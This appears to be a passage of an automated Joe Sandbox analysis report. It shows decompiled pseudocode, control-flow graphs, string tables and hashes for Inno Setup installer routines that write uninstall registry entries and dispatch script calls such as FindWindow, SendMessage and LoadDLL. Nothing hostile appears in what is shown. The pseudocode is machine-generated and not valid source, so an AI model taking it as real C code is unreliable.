                                                          control_flow_graph 366 46771c-46774c 367 467757 366->367 368 46774e-467755 366->368 369 46775e-467796 call 40377c call 403880 call 42de2c 367->369 368->369 376 4677b1-4677da call 403880 call 42dd50 369->376 377 467798-4677ac call 403880 call 42de2c 369->377 385 4677dc-4677e5 call 46755c 376->385 386 4677ea-467813 call 467678 376->386 377->376 385->386 390 467825-467828 call 403548 386->390 391 467815-467823 call 4035dc 386->391 395 46782d-467878 call 467678 call 42c614 call 4676c0 call 467678 390->395 391->395 404 46788e-4678af call 453a24 call 467678 395->404 405 46787a-46788d call 4676e8 395->405 412 4678b1-4678fa call 467678 call 467168 call 467678 call 46717c call 467678 404->412 413 4678fb-467902 404->413 405->404 412->413 414 467904-467937 call 467230 call 467678 call 467244 call 467678 413->414 415 467938-46793f 413->415 414->415 419 467980-467984 415->419 420 467941-46797f call 467678 * 3 415->420 422 467986-467991 call 4717f8 419->422 423 467993-46799c call 4035dc 419->423 420->419 434 4679a1-467b51 call 4038c0 call 467678 call 4717f8 call 4676c0 call 4035dc call 4036c4 * 2 call 467678 call 4035dc call 4036c4 * 2 call 467678 call 4717f8 call 4676c0 call 4717f8 call 4676c0 call 4717f8 call 4676c0 call 4717f8 call 4676c0 call 4717f8 call 4676c0 call 4717f8 call 4676c0 call 4717f8 call 4676c0 call 4717f8 call 4676c0 call 4717f8 422->434 423->434 506 467b67-467b75 call 4676e8 434->506 507 467b53-467b65 call 467678 434->507 511 467b7a 506->511 512 467b7b-467b89 call 4676e8 507->512 511->512 514 467b8e-467b96 512->514 515 467bf0-467c06 RegCloseKey 514->515 516 467b98-467bce call 487508 514->516 516->515
                                                          C-Code - Quality: 72%
                                                          			E0046771C(void* __eax, void* __ebx, void* __edi, void* __esi, void* __fp0) {
                                                          				intOrPtr _v8;
                                                          				char _v12;
                                                          				void* _v16;
                                                          				char _v20;
                                                          				char _v24;
                                                          				char _v28;
                                                          				char _v32;
                                                          				void* _t120;
                                                          				intOrPtr _t121;
                                                          				void* _t125;
                                                          				intOrPtr _t126;
                                                          				void* _t127;
                                                          				intOrPtr _t215;
                                                          				intOrPtr* _t236;
                                                          				void* _t254;
                                                          				intOrPtr _t255;
                                                          				intOrPtr _t267;
                                                          				void* _t270;
                                                          				void* _t273;
                                                          				void* _t279;
                                                          				void* _t281;
                                                          				void* _t283;
                                                          				void* _t285;
                                                          				void* _t287;
                                                          				void* _t289;
                                                          				void* _t291;
                                                          				void* _t293;
                                                          				void* _t295;
                                                          				intOrPtr _t307;
                                                          				intOrPtr _t309;
                                                          				intOrPtr _t311;
                                                          				void* _t318;
                                                          				intOrPtr _t334;
                                                          				intOrPtr _t340;
                                                          				intOrPtr _t344;
                                                          				intOrPtr _t366;
                                                          				intOrPtr _t368;
                                                          				intOrPtr _t380;
                                                          				void* _t385;
                                                          				void* _t387;
                                                          				void* _t388;
                                                          				intOrPtr _t389;
                                                          				void* _t402;
                                                          
                                                          				_t402 = __fp0;
                                                          				_t383 = __edi;
                                                          				_t387 = _t388;
                                                          				_t389 = _t388 + 0xffffffe0;
                                                          				_push(__edi);
                                                          				_v24 = 0;
                                                          				_v12 = 0;
                                                          				_v20 = 0;
                                                          				_t385 = __eax;
                                                          				_push(_t387);
                                                          				_push(0x467c56);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t389;
                                                          				if( *0x4ae252 == 0) {
                                                          					_v8 = 0x80000001;
                                                          				} else {
                                                          					_v8 = 0x80000002;
                                                          				}
                                                          				_push("Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\");
                                                          				_push(_t385);
                                                          				_push("_is1");
                                                          				E0040377C();
                                                          				_t120 = E00403880(_v12);
                                                          				_t121 =  *0x48cb0c; // 0x1, executed
                                                          				E0042DE2C(_t121, 0x4ae064, _t120, 0x80000001, _t383, _t385); // executed
                                                          				if( *0x4ae252 != 0) {
                                                          					_t254 = E00403880(_v12);
                                                          					_t255 =  *0x48cb0c; // 0x1, executed
                                                          					E0042DE2C(_t255, 0x4ae064, _t254, 0x80000002, _t383, _t385); // executed
                                                          				}
                                                          				_t125 = E00403880(_v12);
                                                          				_t126 =  *0x48cb0c; // 0x1, executed
                                                          				_t127 = E0042DD50(_t126, _t125, _v8, 0,  &_v16, 0, 2, 0, 0, 0); // executed
                                                          				_t392 = _t127;
                                                          				if(_t127 != 0) {
                                                          					E0046755C(1, 0x4ae064, _v12, _v8, _t383, _t385, _t392, _t127);
                                                          				}
                                                          				_push(_t387);
                                                          				_push(0x467c07);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t389;
                                                          				E00467678(_v16, "5.1.2-beta", "Inno Setup: Setup Version", _t387); // executed
                                                          				if(( *0x004AE17C & 0x00000004) == 0) {
                                                          					E00403548( &_v20);
                                                          				} else {
                                                          					_t380 =  *0x4ae22c; // 0x220f650
                                                          					E004035DC( &_v20, _t380);
                                                          				}
                                                          				E00467678(_v16, _v20, "Inno Setup: App Path", _t387); // executed
                                                          				E0042C614(_v20,  &_v24);
                                                          				E004676C0(_v16, _v24, "InstallLocation", _t387); // executed
                                                          				_t267 =  *0x4ae230; // 0x220f214
                                                          				E00467678(_v16, _t267, "Inno Setup: Icon Group", _t387); // executed
                                                          				if( *0x4ae234 != 0) {
                                                          					E004676E8(_v16, "Inno Setup: No Icons", _t387);
                                                          				}
                                                          				E00453A24( &_v24);
                                                          				E00467678(_v16, _v24, "Inno Setup: User", _t387); // executed
                                                          				_pop(_t270);
                                                          				if( *0x4ae238 != 0) {
                                                          					_t236 =  *0x4ae238; // 0x0
                                                          					E00467678(_v16,  *_t236, "Inno Setup: Setup Type", _t387);
                                                          					E00467168( &_v24);
                                                          					E00467678(_v16, _v24, "Inno Setup: Selected Components", _t387);
                                                          					_pop(_t318);
                                                          					E0046717C( &_v24, 0x4ae064, _t318, _t383, _t385);
                                                          					E00467678(_v16, _v24, "Inno Setup: Deselected Components", _t387);
                                                          					_pop(_t270);
                                                          				}
                                                          				if( *0x4ae25c != 0) {
                                                          					E00467230( &_v24);
                                                          					E00467678(_v16, _v24, "Inno Setup: Selected Tasks", _t387);
                                                          					E00467244( &_v24, 0x4ae064, _t383, _t385);
                                                          					E00467678(_v16, _v24, "Inno Setup: Deselected Tasks", _t387);
                                                          					_pop(_t270);
                                                          				}
                                                          				if(( *0x004AE180 & 0x00000001) != 0) {
                                                          					_t307 =  *0x4ae220; // 0x0
                                                          					E00467678(_v16, _t307, "Inno Setup: User Info: Name", _t387);
                                                          					_t309 =  *0x4ae224; // 0x0
                                                          					E00467678(_v16, _t309, "Inno Setup: User Info: Organization", _t387);
                                                          					_t311 =  *0x4ae228; // 0x0
                                                          					E00467678(_v16, _t311, "Inno Setup: User Info: Serial", _t387);
                                                          					_pop(_t270);
                                                          				}
                                                          				if( *0x004AE0A4 == 0) {
                                                          					_t334 =  *0x4ae27c; // 0x21d49f8
                                                          					E004035DC( &_v20, _t334);
                                                          				} else {
                                                          					E004717F8( *((intOrPtr*)(0x4ae0a4)), _t270,  &_v20);
                                                          				}
                                                          				E004038C0(_v20, 0x3f, 1,  &_v24);
                                                          				E00467678(_v16, _v24, "DisplayName", _t387); // executed
                                                          				_pop(_t273);
                                                          				E004717F8( *0x004AE0A8, _t273,  &_v24);
                                                          				E004676C0(_v16, _v24, "DisplayIcon", _t387); // executed
                                                          				E004035DC( &_v24, 0x467e68);
                                                          				_t340 =  *0x4ae048; // 0x2220888
                                                          				E004036C4( &_v24, _t340);
                                                          				E004036C4( &_v24, 0x467e68);
                                                          				E00467678(_v16, _v24, "UninstallString", _t387); // executed
                                                          				E004035DC( &_v24, 0x467e68);
                                                          				_t344 =  *0x4ae048; // 0x2220888
                                                          				E004036C4( &_v24, _t344);
                                                          				E004036C4( &_v24, "\" /SILENT");
                                                          				E00467678(_v16, _v24, "QuietUninstallString", _t387); // executed
                                                          				_pop(_t279);
                                                          				E004717F8( *0x004AE084, _t279,  &_v24);
                                                          				E004676C0(_v16, _v24, "DisplayVersion", _t387); // executed
                                                          				_pop(_t281);
                                                          				E004717F8( *0x004AE074, _t281,  &_v24);
                                                          				E004676C0(_v16, _v24, "Publisher", _t387); // executed
                                                          				_pop(_t283);
                                                          				E004717F8( *0x004AE078, _t283,  &_v24);
                                                          				E004676C0(_v16, _v24, "URLInfoAbout", _t387); // executed
                                                          				_pop(_t285);
                                                          				E004717F8( *0x004AE07C, _t285,  &_v24);
                                                          				E004676C0(_v16, _v24, "HelpLink", _t387); // executed
                                                          				_pop(_t287);
                                                          				E004717F8( *0x004AE080, _t287,  &_v24);
                                                          				E004676C0(_v16, _v24, "URLUpdateInfo", _t387); // executed
                                                          				_pop(_t289);
                                                          				E004717F8( *0x004AE0C0, _t289,  &_v24);
                                                          				E004676C0(_v16, _v24, "Readme", _t387);
                                                          				_pop(_t291);
                                                          				E004717F8( *0x004AE0C4, _t291,  &_v24);
                                                          				E004676C0(_v16, _v24, "Contact", _t387);
                                                          				_pop(_t293);
                                                          				E004717F8( *0x004AE0C8, _t293,  &_v24);
                                                          				E004676C0(_v16, _v24, "Comments", _t387);
                                                          				_pop(_t295);
                                                          				E004717F8( *0x004AE0CC, _t295,  &_v20);
                                                          				if(_v20 == 0) {
                                                          					E004676E8(_v16, "NoModify", _t387); // executed
                                                          				} else {
                                                          					E00467678(_v16, _v20, "ModifyPath", _t387);
                                                          				}
                                                          				E004676E8(_v16, "NoRepair", _t387); // executed
                                                          				_t400 =  *0x4ae298;
                                                          				if( *0x4ae298 != 0) {
                                                          					_push(_t387);
                                                          					_push(0x467bd0);
                                                          					_push( *[fs:eax]);
                                                          					 *[fs:eax] = _t389;
                                                          					_v32 = _v16;
                                                          					_v28 = 0;
                                                          					_t215 =  *0x4ae298; // 0x21edcfc
                                                          					E00487508(_t215,  &_v32, "RegisterPreviousData", _t400, _t402, 0, 0);
                                                          					_pop(_t368);
                                                          					 *[fs:eax] = _t368;
                                                          				}
                                                          				_pop(_t366);
                                                          				 *[fs:eax] = _t366;
                                                          				_push(0x467c0e);
                                                          				return RegCloseKey(_v16);
                                                          			}














































                                                          0x0046771c
                                                          0x0046771c
                                                          0x0046771d
                                                          0x0046771f
                                                          0x00467724
                                                          0x00467727
                                                          0x0046772a
                                                          0x0046772d
                                                          0x00467730
                                                          0x00467739
                                                          0x0046773a
                                                          0x0046773f
                                                          0x00467742
                                                          0x0046774c
                                                          0x00467757
                                                          0x0046774e
                                                          0x0046774e
                                                          0x0046774e
                                                          0x0046775e
                                                          0x00467763
                                                          0x00467764
                                                          0x00467771
                                                          0x00467779
                                                          0x00467785
                                                          0x0046778a
                                                          0x00467796
                                                          0x0046779b
                                                          0x004677a7
                                                          0x004677ac
                                                          0x004677ac
                                                          0x004677c4
                                                          0x004677ce
                                                          0x004677d3
                                                          0x004677d8
                                                          0x004677da
                                                          0x004677e5
                                                          0x004677e5
                                                          0x004677ec
                                                          0x004677ed
                                                          0x004677f2
                                                          0x004677f5
                                                          0x00467806
                                                          0x00467813
                                                          0x00467828
                                                          0x00467815
                                                          0x00467818
                                                          0x0046781e
                                                          0x0046781e
                                                          0x00467839
                                                          0x00467846
                                                          0x00467856
                                                          0x00467862
                                                          0x0046786b
                                                          0x00467878
                                                          0x00467888
                                                          0x0046788d
                                                          0x00467892
                                                          0x004678a2
                                                          0x004678a7
                                                          0x004678af
                                                          0x004678b2
                                                          0x004678c1
                                                          0x004678cb
                                                          0x004678db
                                                          0x004678e0
                                                          0x004678e5
                                                          0x004678f5
                                                          0x004678fa
                                                          0x004678fa
                                                          0x00467902
                                                          0x00467908
                                                          0x00467918
                                                          0x00467922
                                                          0x00467932
                                                          0x00467937
                                                          0x00467937
                                                          0x0046793f
                                                          0x00467947
                                                          0x00467950
                                                          0x0046795c
                                                          0x00467965
                                                          0x00467971
                                                          0x0046797a
                                                          0x0046797f
                                                          0x0046797f
                                                          0x00467984
                                                          0x00467996
                                                          0x0046799c
                                                          0x00467986
                                                          0x0046798c
                                                          0x0046798c
                                                          0x004679b3
                                                          0x004679c3
                                                          0x004679c8
                                                          0x004679d0
                                                          0x004679e0
                                                          0x004679ef
                                                          0x004679f7
                                                          0x004679fd
                                                          0x00467a0a
                                                          0x00467a1a
                                                          0x00467a29
                                                          0x00467a31
                                                          0x00467a37
                                                          0x00467a44
                                                          0x00467a54
                                                          0x00467a59
                                                          0x00467a61
                                                          0x00467a71
                                                          0x00467a76
                                                          0x00467a7e
                                                          0x00467a8e
                                                          0x00467a93
                                                          0x00467a9b
                                                          0x00467aab
                                                          0x00467ab0
                                                          0x00467ab8
                                                          0x00467ac8
                                                          0x00467acd
                                                          0x00467ad5
                                                          0x00467ae5
                                                          0x00467aea
                                                          0x00467af2
                                                          0x00467b02
                                                          0x00467b07
                                                          0x00467b0f
                                                          0x00467b1f
                                                          0x00467b24
                                                          0x00467b2c
                                                          0x00467b3c
                                                          0x00467b41
                                                          0x00467b48
                                                          0x00467b51
                                                          0x00467b75
                                                          0x00467b53
                                                          0x00467b5f
                                                          0x00467b64
                                                          0x00467b89
                                                          0x00467b8f
                                                          0x00467b96
                                                          0x00467b9a
                                                          0x00467b9b
                                                          0x00467ba0
                                                          0x00467ba3
                                                          0x00467bad
                                                          0x00467bb0
                                                          0x00467bbc
                                                          0x00467bc1
                                                          0x00467bc8
                                                          0x00467bcb
                                                          0x00467bcb
                                                          0x00467bf2
                                                          0x00467bf5
                                                          0x00467bf8
                                                          0x00467c06

                                                          APIs
                                                            • Part of subcall function 00467678: 6CAA68C0.ADVAPI32(?,Inno Setup: Setup Version,00000000,00000001,00000000,00000001,?,00000001,004AE064,?,0046780B,?,00000000,00467C07,?,_is1), ref: 0046769B
                                                          • RegCloseKey.ADVAPI32(?,00467C0E,?,_is1,00000001,Software\Microsoft\Windows\CurrentVersion\Uninstall\,00000000,00467C56,?,?,00000001,004AE064), ref: 00467C01
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Close
                                                          • String ID: " /SILENT$5.1.2-beta$Comments$Contact$DisplayIcon$DisplayName$DisplayVersion$HelpLink$Inno Setup: App Path$Inno Setup: Deselected Components$Inno Setup: Deselected Tasks$Inno Setup: Icon Group$Inno Setup: No Icons$Inno Setup: Selected Components$Inno Setup: Selected Tasks$Inno Setup: Setup Type$Inno Setup: Setup Version$Inno Setup: User$Inno Setup: User Info: Name$Inno Setup: User Info: Organization$Inno Setup: User Info: Serial$InstallLocation$ModifyPath$NoModify$NoRepair$Publisher$QuietUninstallString$Readme$RegisterPreviousData$Software\Microsoft\Windows\CurrentVersion\Uninstall\$URLInfoAbout$URLUpdateInfo$UninstallString$_is1
                                                          • API String ID: 3535843008-3420366150
                                                          • Opcode ID: 760a431ebea9d8018caf2cce00bf7943a13a864b76c061a8f1aae54a1c95ccd4
                                                          • Instruction ID: bcf45d01afdc882ad5ccafe89175aa7c7628ae35465c9aa604cb69e7ccd6ea96
                                                          • Opcode Fuzzy Hash: 760a431ebea9d8018caf2cce00bf7943a13a864b76c061a8f1aae54a1c95ccd4
                                                          • Instruction Fuzzy Hash: 83E19A71A041099BD704EF59D881AAF77B9EF45318F60846BE410773A1EB38BD01CB6E
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 877 4851c4-4851f8 call 4037cc 880 4851fa-485209 call 44719c Sleep 877->880 881 48520e-48521b call 4037cc 877->881 886 48569e-4856b8 call 403568 880->886 887 48524a-485257 call 4037cc 881->887 888 48521d-485240 call 4471f8 call 403880 FindWindowA call 447478 881->888 895 485259-485281 call 4471f8 call 403880 FindWindowA call 447478 887->895 896 485286-485293 call 4037cc 887->896 907 485245 888->907 895->886 905 4852dc-4852e9 call 4037cc 896->905 906 485295-4852d7 call 44719c * 4 SendMessageA call 447478 896->906 916 485338-485345 call 4037cc 905->916 917 4852eb-485333 call 44719c * 4 PostMessageA call 4472d0 905->917 906->886 907->886 925 485394-4853a1 call 4037cc 916->925 926 485347-48538f call 44719c * 4 SendNotifyMessageA call 4472d0 916->926 917->886 938 4853ce-4853db call 4037cc 925->938 939 4853a3-4853c9 call 4471f8 call 403880 RegisterClipboardFormatA call 447478 925->939 926->886 950 48541c-485429 call 4037cc 938->950 951 4853dd-485417 call 44719c * 3 SendMessageA call 447478 938->951 939->886 966 48542b-48546b call 44719c * 3 PostMessageA call 4472d0 950->966 967 485470-48547d call 4037cc 950->967 951->886 966->886 978 48547f-4854bf call 44719c * 3 SendNotifyMessageA call 4472d0 967->978 979 4854c4-4854d1 call 4037cc 967->979 978->886 989 4854d3-4854f1 call 4471f8 call 42e324 979->989 990 485526-485533 call 4037cc 979->990 1010 485503-485511 GetLastError call 447478 989->1010 1011 4854f3-485501 call 447478 989->1011 1000 4855ad-4855ba call 4037cc 990->1000 1001 485535-485561 call 4471f8 call 403880 call 44719c 6CAA5550 990->1001 1015 4855bc-4855dd call 44719c FreeLibrary call 4472d0 1000->1015 1016 4855e2-4855ef call 4037cc 1000->1016 1035 48559d-4855a8 call 4472d0 1001->1035 1036 485563-485598 call 44719c * 2 call 447478 call 4472d0 1001->1036 1022 485516-485521 call 447478 1010->1022 1011->1022 1015->886 1029 4855f1-48560f call 4471f8 call 403880 CreateMutexA 1016->1029 1030 485614-485621 call 4037cc 1016->1030 1022->886 1029->886 1043 485623-485655 call 4471f8 call 4036bc call 403880 OemToCharBuffA call 44754c 1030->1043 1044 485657-485664 call 4037cc 1030->1044 1035->886 1036->886 1043->886 1054 48569a 1044->1054 1055 485666-485698 call 4471f8 call 4036bc call 403880 CharToOemBuffA call 44754c 1044->1055 1054->886 1055->886
                                                          C-Code - Quality: 82%
                                                          			E004851C4(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __fp0, intOrPtr _a4) {
                                                          				char _v5;
                                                          				char _v12;
                                                          				char _v16;
                                                          				long _t81;
                                                          				long _t90;
                                                          				signed int _t103;
                                                          				intOrPtr* _t111;
                                                          				long _t127;
                                                          				long _t135;
                                                          				int _t137;
                                                          				signed int _t140;
                                                          				long _t144;
                                                          				int _t146;
                                                          				signed int _t149;
                                                          				long _t153;
                                                          				int _t155;
                                                          				long _t169;
                                                          				int _t171;
                                                          				int _t173;
                                                          				signed int _t176;
                                                          				long _t180;
                                                          				int _t182;
                                                          				int _t184;
                                                          				signed int _t187;
                                                          				long _t191;
                                                          				int _t193;
                                                          				int _t195;
                                                          				struct HWND__* _t212;
                                                          				void* _t219;
                                                          				intOrPtr _t275;
                                                          				intOrPtr* _t367;
                                                          				intOrPtr* _t368;
                                                          				void* _t371;
                                                          				intOrPtr _t374;
                                                          
                                                          				_t377 = __fp0;
                                                          				_t219 = __ecx;
                                                          				_t373 = _t374;
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(__ebx);
                                                          				_t218 = _a4;
                                                          				_push(_t374);
                                                          				_push(0x4856b9);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t374;
                                                          				_t371 =  *((intOrPtr*)(_a4 + 0xc)) - 1;
                                                          				_v5 = 1;
                                                          				E004037CC( *((intOrPtr*)(__edx + 0x10)), 0x4856d4);
                                                          				if(_t371 != 0) {
                                                          					E004037CC( *((intOrPtr*)(__edx + 0x10)), "FINDWINDOWBYCLASSNAME");
                                                          					if(__eflags != 0) {
                                                          						E004037CC( *((intOrPtr*)(__edx + 0x10)), "FINDWINDOWBYWINDOWNAME");
                                                          						if(__eflags != 0) {
                                                          							E004037CC( *((intOrPtr*)(__edx + 0x10)), "SENDMESSAGE");
                                                          							if(__eflags != 0) {
                                                          								E004037CC( *((intOrPtr*)(__edx + 0x10)), "POSTMESSAGE");
                                                          								if(__eflags != 0) {
                                                          									E004037CC( *((intOrPtr*)(__edx + 0x10)), "SENDNOTIFYMESSAGE");
                                                          									if(__eflags != 0) {
                                                          										E004037CC( *((intOrPtr*)(__edx + 0x10)), "REGISTERWINDOWMESSAGE");
                                                          										if(__eflags != 0) {
                                                          											E004037CC( *((intOrPtr*)(__edx + 0x10)), "SENDBROADCASTMESSAGE");
                                                          											if(__eflags != 0) {
                                                          												E004037CC( *((intOrPtr*)(__edx + 0x10)), "POSTBROADCASTMESSAGE");
                                                          												if(__eflags != 0) {
                                                          													E004037CC( *((intOrPtr*)(__edx + 0x10)), "SENDBROADCASTNOTIFYMESSAGE");
                                                          													if(__eflags != 0) {
                                                          														E004037CC( *((intOrPtr*)(__edx + 0x10)), "LOADDLL");
                                                          														if(__eflags != 0) {
                                                          															E004037CC( *((intOrPtr*)(__edx + 0x10)), "CALLDLLPROC");
                                                          															if(__eflags != 0) {
                                                          																E004037CC( *((intOrPtr*)(__edx + 0x10)), "FREEDLL");
                                                          																if(__eflags != 0) {
                                                          																	E004037CC( *((intOrPtr*)(__edx + 0x10)), "CREATEMUTEX");
                                                          																	if(__eflags != 0) {
                                                          																		E004037CC( *((intOrPtr*)(__edx + 0x10)), "OEMTOCHARBUFF");
                                                          																		if(__eflags != 0) {
                                                          																			E004037CC( *((intOrPtr*)(__edx + 0x10)), "CHARTOOEMBUFF");
                                                          																			if(__eflags != 0) {
                                                          																				_v5 = 0;
                                                          																			} else {
                                                          																				E004471F8(_t218,  &_v12, _t371, __edx);
                                                          																				_t81 = E004036BC(_v12);
                                                          																				CharToOemBuffA(E00403880(_v12), _t83, _t81);
                                                          																				E0044754C(_t218, _v12, _t371, _t373);
                                                          																			}
                                                          																		} else {
                                                          																			E004471F8(_t218,  &_v12, _t371, __edx);
                                                          																			_t90 = E004036BC(_v12);
                                                          																			OemToCharBuffA(E00403880(_v12), _t92, _t90);
                                                          																			E0044754C(_t218, _v12, _t371, _t373);
                                                          																		}
                                                          																	} else {
                                                          																		E004471F8(_t218,  &_v16, _t371, __edx);
                                                          																		CreateMutexA(0, 0, E00403880(_v16));
                                                          																	}
                                                          																} else {
                                                          																	_t103 = FreeLibrary(E0044719C(_t218, _t219, _t371 - 1, __fp0));
                                                          																	asm("sbb ecx, ecx");
                                                          																	E004472D0(_t218,  ~( ~_t103), _t371, _t373, __fp0);
                                                          																}
                                                          															} else {
                                                          																E004471F8(_t218,  &_v16, _t371 - 2, __edx);
                                                          																_push(E00403880(_v16));
                                                          																_t111 = E0044719C(_t218,  &_v16, _t371 - 1, __fp0);
                                                          																_push(_t111);
                                                          																L00405AA4();
                                                          																_t367 = _t111;
                                                          																__eflags = _t367;
                                                          																if(_t367 == 0) {
                                                          																	E004472D0(_t218, 0, _t371, _t373, __fp0);
                                                          																} else {
                                                          																	E00447478(_t218,  *_t367(E0044719C(_t218,  &_v16, _t371 - 3, __fp0), E0044719C(_t218,  &_v16, _t371 - 4, __fp0)), _t371 - 5, _t373, __fp0);
                                                          																	E004472D0(_t218, 1, _t371, _t373, __fp0);
                                                          																}
                                                          															}
                                                          														} else {
                                                          															E004471F8(_t218,  &_v16, _t371 - 1, __edx);
                                                          															_t368 = E0042E324(_v16, _t218, 0x8000);
                                                          															__eflags = _t368;
                                                          															if(_t368 == 0) {
                                                          																_t127 = GetLastError();
                                                          																__eflags = _t371 - 2;
                                                          																E00447478(_t218, _t127, _t371 - 2, _t373, __fp0);
                                                          															} else {
                                                          																E00447478(_t218, 0, _t371 - 2, _t373, __fp0);
                                                          															}
                                                          															E00447478(_t218, _t368, _t371, _t373, _t377);
                                                          														}
                                                          													} else {
                                                          														_t135 = E0044719C(_t218, _t219, _t371 - 3, __fp0);
                                                          														_t137 = E0044719C(_t218, _t219, _t371 - 2, __fp0);
                                                          														_t140 = SendNotifyMessageA(0xffff, E0044719C(_t218, _t219, _t371 - 1, __fp0), _t137, _t135);
                                                          														asm("sbb ecx, ecx");
                                                          														E004472D0(_t218,  ~( ~_t140), _t371, _t373, __fp0);
                                                          													}
                                                          												} else {
                                                          													_t144 = E0044719C(_t218, _t219, _t371 - 3, __fp0);
                                                          													_t146 = E0044719C(_t218, _t219, _t371 - 2, __fp0);
                                                          													_t149 = PostMessageA(0xffff, E0044719C(_t218, _t219, _t371 - 1, __fp0), _t146, _t144);
                                                          													asm("sbb ecx, ecx");
                                                          													E004472D0(_t218,  ~( ~_t149), _t371, _t373, __fp0);
                                                          												}
                                                          											} else {
                                                          												_t153 = E0044719C(_t218, _t219, _t371 - 3, __fp0);
                                                          												_t155 = E0044719C(_t218, _t219, _t371 - 2, __fp0);
                                                          												E00447478(_t218, SendMessageA(0xffff, E0044719C(_t218, _t219, _t371 - 1, __fp0), _t155, _t153), _t371, _t373, __fp0);
                                                          											}
                                                          										} else {
                                                          											E004471F8(_t218,  &_v16, _t371 - 1, __edx);
                                                          											E00447478(_t218, RegisterClipboardFormatA(E00403880(_v16)), _t371, _t373, __fp0);
                                                          										}
                                                          									} else {
                                                          										_t169 = E0044719C(_t218, _t219, _t371 - 4, __fp0);
                                                          										_t171 = E0044719C(_t218, _t219, _t371 - 3, __fp0);
                                                          										_t173 = E0044719C(_t218, _t219, _t371 - 2, __fp0);
                                                          										_t176 = SendNotifyMessageA(E0044719C(_t218, _t219, _t371 - 1, __fp0), _t173, _t171, _t169);
                                                          										asm("sbb ecx, ecx");
                                                          										E004472D0(_t218,  ~( ~_t176), _t371, _t373, __fp0);
                                                          									}
                                                          								} else {
                                                          									_t180 = E0044719C(_t218, _t219, _t371 - 4, __fp0);
                                                          									_t182 = E0044719C(_t218, _t219, _t371 - 3, __fp0);
                                                          									_t184 = E0044719C(_t218, _t219, _t371 - 2, __fp0);
                                                          									_t187 = PostMessageA(E0044719C(_t218, _t219, _t371 - 1, __fp0), _t184, _t182, _t180);
                                                          									asm("sbb ecx, ecx");
                                                          									E004472D0(_t218,  ~( ~_t187), _t371, _t373, __fp0);
                                                          								}
                                                          							} else {
                                                          								_t191 = E0044719C(_t218, _t219, _t371 - 4, __fp0);
                                                          								_t193 = E0044719C(_t218, _t219, _t371 - 3, __fp0);
                                                          								_t195 = E0044719C(_t218, _t219, _t371 - 2, __fp0);
                                                          								E00447478(_t218, SendMessageA(E0044719C(_t218, _t219, _t371 - 1, __fp0), _t195, _t193, _t191), _t371, _t373, __fp0);
                                                          							}
                                                          						} else {
                                                          							E004471F8(_t218,  &_v16, _t371 - 1, __edx);
                                                          							E00447478(_t218, FindWindowA(0, E00403880(_v16)), _t371, _t373, __fp0);
                                                          						}
                                                          					} else {
                                                          						E004471F8(_t218,  &_v16, _t371 - 1, __edx);
                                                          						_t212 = FindWindowA(E00403880(_v16), 0); // executed
                                                          						E00447478(_t218, _t212, _t371, _t373, __fp0);
                                                          					}
                                                          				} else {
                                                          					Sleep(E0044719C(_t218, _t219, _t371, __fp0));
                                                          				}
                                                          				_pop(_t275);
                                                          				 *[fs:eax] = _t275;
                                                          				_push(0x4856c0);
                                                          				return E00403568( &_v16, 2);
                                                          			}





































                                                          0x004851c4
                                                          0x004851c4
                                                          0x004851c5
                                                          0x004851c7
                                                          0x004851c9
                                                          0x004851cb
                                                          0x004851cd
                                                          0x004851d2
                                                          0x004851d7
                                                          0x004851d8
                                                          0x004851dd
                                                          0x004851e0
                                                          0x004851e6
                                                          0x004851e7
                                                          0x004851f3
                                                          0x004851f8
                                                          0x00485216
                                                          0x0048521b
                                                          0x00485252
                                                          0x00485257
                                                          0x0048528e
                                                          0x00485293
                                                          0x004852e4
                                                          0x004852e9
                                                          0x00485340
                                                          0x00485345
                                                          0x0048539c
                                                          0x004853a1
                                                          0x004853d6
                                                          0x004853db
                                                          0x00485424
                                                          0x00485429
                                                          0x00485478
                                                          0x0048547d
                                                          0x004854cc
                                                          0x004854d1
                                                          0x0048552e
                                                          0x00485533
                                                          0x004855b5
                                                          0x004855ba
                                                          0x004855ea
                                                          0x004855ef
                                                          0x0048561c
                                                          0x00485621
                                                          0x0048565f
                                                          0x00485664
                                                          0x0048569a
                                                          0x00485666
                                                          0x0048566d
                                                          0x00485675
                                                          0x00485687
                                                          0x00485693
                                                          0x00485693
                                                          0x00485623
                                                          0x0048562a
                                                          0x00485632
                                                          0x00485644
                                                          0x00485650
                                                          0x00485650
                                                          0x004855f1
                                                          0x004855f8
                                                          0x0048560a
                                                          0x0048560a
                                                          0x004855bc
                                                          0x004855c7
                                                          0x004855d0
                                                          0x004855d8
                                                          0x004855d8
                                                          0x00485535
                                                          0x0048553f
                                                          0x0048554c
                                                          0x00485552
                                                          0x00485557
                                                          0x00485558
                                                          0x0048555d
                                                          0x0048555f
                                                          0x00485561
                                                          0x004855a3
                                                          0x00485563
                                                          0x00485588
                                                          0x00485593
                                                          0x00485593
                                                          0x00485561
                                                          0x004854d3
                                                          0x004854db
                                                          0x004854ed
                                                          0x004854ef
                                                          0x004854f1
                                                          0x00485503
                                                          0x0048550c
                                                          0x00485511
                                                          0x004854f3
                                                          0x004854fc
                                                          0x004854fc
                                                          0x0048551c
                                                          0x0048551c
                                                          0x0048547f
                                                          0x00485486
                                                          0x00485493
                                                          0x004854a9
                                                          0x004854b2
                                                          0x004854ba
                                                          0x004854ba
                                                          0x0048542b
                                                          0x00485432
                                                          0x0048543f
                                                          0x00485455
                                                          0x0048545e
